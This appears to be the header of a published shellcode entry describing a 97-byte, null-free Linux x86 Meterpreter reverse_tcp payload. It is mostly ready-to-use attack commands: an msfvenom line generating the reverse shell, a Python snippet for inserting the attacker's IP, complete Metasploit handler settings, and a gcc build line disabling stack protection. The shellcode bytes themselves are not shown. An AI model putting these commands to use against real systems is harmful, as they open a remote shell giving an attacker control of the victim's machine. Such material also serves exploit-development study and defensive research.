Shellcode Size : 97 bytes
Connect Back Port : 12345
Description : This is a linux/x86/meterpreter/reverse_tcp shell. Created by
analysing msfvenom; The original shellcode has 10 NULL bytes
and comes in at 99 bytes. My shellcode is 97 and contains no
NULLS once the IP is swapped. Of course to use this shellcode
you need a metasploit handler although that should be assumed.
I would like to note this is a staged payload thus you MUST
have a handler setup.

Original Metasploit Shellcode:
sudo msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=12345 -i 0 -f c

Swap ip using:
wetw0rk@x86:~$ python
>>> a = '192.168.244.129'.split('.')
>>> '{:02X}{:02X}{:02X}{:02X}'.format(*map(int, a))

Metasploit Handler Settings:
use exploit/multi/handler
set PAYLOAD linux/x86/meterpreter/reverse_tcp
set LHOST 0.0.0.0
set LPORT 12345
exploit

Test using:
gcc -fno-stack-protector -z execstack tshell.c

Greets:
offsec, abatchy (top llama), n4ss4r, dillage (top chinchilla), Hak5 Crew, rezkon, newbsec
